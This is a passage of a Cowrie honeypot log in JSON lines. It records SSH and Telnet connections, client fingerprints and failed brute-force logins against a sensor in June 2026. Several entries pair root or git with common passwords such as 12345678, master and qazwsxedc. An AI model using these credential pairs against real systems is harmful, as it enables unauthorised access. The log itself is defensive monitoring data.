ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:17.288605Z","src_ip":"91.92.40.36","session":"dfa571c3c7c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:17.833645Z","src_ip":"91.92.40.36","session":"aa38bbd059f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:18.359772Z","src_ip":"91.92.40.36","session":"46758f1b0893","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.0","message":"Connection lost after 11.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:20.463986Z","src_ip":"91.92.40.36","session":"aa38bbd059f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":40296,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fba71e5d5d2","protocol":"ssh","message":"New connection: 27.71.230.31:40296 (10.17.0.5:22) [session: 1fba71e5d5d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:21.106116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:21.146350Z","src_ip":"27.71.230.31","session":"1fba71e5d5d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:21.497820Z","src_ip":"27.71.230.31","session":"1fba71e5d5d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":49952,"dst_ip":"10.17.0.5","dst_port":22,"session":"19424796abdf","protocol":"ssh","message":"New connection: 91.92.40.36:49952 (10.17.0.5:22) [session: 19424796abdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:23.214109Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator123","message":"login attempt [root/administrator123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:23.903448Z","src_ip":"27.71.230.31","session":"1fba71e5d5d2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:24.737541Z","src_ip":"91.92.40.36","session":"19424796abdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:24.743721Z","src_ip":"91.92.40.36","session":"19424796abdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:24.828626Z","src_ip":"91.92.40.36","session":"dfa571c3c7c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:25.287747Z","src_ip":"27.71.230.31","session":"1fba71e5d5d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":39144,"dst_ip":"10.17.0.5","dst_port":22,"session":"a549c983a009","protocol":"ssh","message":"New connection: 91.92.40.36:39144 (10.17.0.5:22) [session: a549c983a009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:27.272726Z"}
{"eventid":"cowrie.session.closed","duration":"13.2","message":"Connection lost after 13.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:28.464113Z","src_ip":"91.92.40.36","session":"dfa571c3c7c0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:29.442481Z","src_ip":"91.92.40.36","session":"a549c983a009","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:29.462509Z","src_ip":"91.92.40.36","session":"a549c983a009","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":39184,"dst_ip":"10.17.0.5","dst_port":22,"session":"410c1e672ab6","protocol":"ssh","message":"New connection: 91.92.40.36:39184 (10.17.0.5:22) [session: 410c1e672ab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:34.425291Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46638,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f9640fe5384","protocol":"telnet","message":"New connection: 172.81.62.90:46638 (159.203.135.109:23) [session: 8f9640fe5384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:35.297129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:36.288777Z","src_ip":"91.92.40.36","session":"410c1e672ab6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:36.292689Z","src_ip":"91.92.40.36","session":"410c1e672ab6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:37.398121Z","src_ip":"91.92.40.36","session":"19424796abdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"master","message":"login attempt [root/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:38.953248Z","src_ip":"91.92.40.36","session":"a549c983a009","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":13516,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8303ec37b31","protocol":"ssh","message":"New connection: 91.92.40.36:13516 (10.17.0.5:22) [session: d8303ec37b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:40.790546Z"}
{"eventid":"cowrie.session.closed","duration":"14.4","message":"Connection lost after 14.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:41.659906Z","src_ip":"91.92.40.36","session":"a549c983a009","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:42.551232Z","src_ip":"91.92.40.36","session":"d8303ec37b31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:42.567412Z","src_ip":"91.92.40.36","session":"d8303ec37b31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.7","message":"Connection lost after 19.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:42.896311Z","src_ip":"91.92.40.36","session":"19424796abdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34786,"dst_ip":"159.203.135.109","dst_port":23,"session":"539d51632f5d","protocol":"telnet","message":"New connection: 128.199.8.54:34786 (159.203.135.109:23) [session: 539d51632f5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:43.030782Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwe","message":"login attempt [root/12345qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:45.030090Z","src_ip":"91.92.40.36","session":"410c1e672ab6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35340,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5042f5b2a43","protocol":"telnet","message":"New connection: 128.199.8.54:35340 (159.203.135.109:23) [session: c5042f5b2a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:45.055701Z"}
{"eventid":"cowrie.session.closed","duration":"13.9","message":"Connection lost after 13.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:48.332530Z","src_ip":"91.92.40.36","session":"410c1e672ab6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":10740,"dst_ip":"10.17.0.5","dst_port":22,"session":"24352f23c607","protocol":"ssh","message":"New connection: 91.92.40.36:10740 (10.17.0.5:22) [session: 24352f23c607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:49.408230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:51.285229Z","src_ip":"91.92.40.36","session":"24352f23c607","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:51.287601Z","src_ip":"91.92.40.36","session":"24352f23c607","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kemo4511214","message":"login attempt [root/Kemo4511214] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:51.537999Z","src_ip":"91.92.40.36","session":"d8303ec37b31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.1","message":"Connection lost after 13.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:53.925094Z","src_ip":"91.92.40.36","session":"d8303ec37b31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":10788,"dst_ip":"10.17.0.5","dst_port":22,"session":"b953d14363a3","protocol":"ssh","message":"New connection: 91.92.40.36:10788 (10.17.0.5:22) [session: b953d14363a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:55.071775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:57.576972Z","src_ip":"91.92.40.36","session":"b953d14363a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:57.580328Z","src_ip":"91.92.40.36","session":"b953d14363a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:58.999912Z","src_ip":"91.92.40.36","session":"24352f23c607","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":40142,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbadf5a40310","protocol":"ssh","message":"New connection: 91.92.40.36:40142 (10.17.0.5:22) [session: bbadf5a40310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:01.432060Z"}
{"eventid":"cowrie.session.closed","duration":"14.0","message":"Connection lost after 14.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:03.363817Z","src_ip":"91.92.40.36","session":"24352f23c607","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:24:04.749495Z","src_ip":"91.92.40.36","session":"bbadf5a40310","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"ma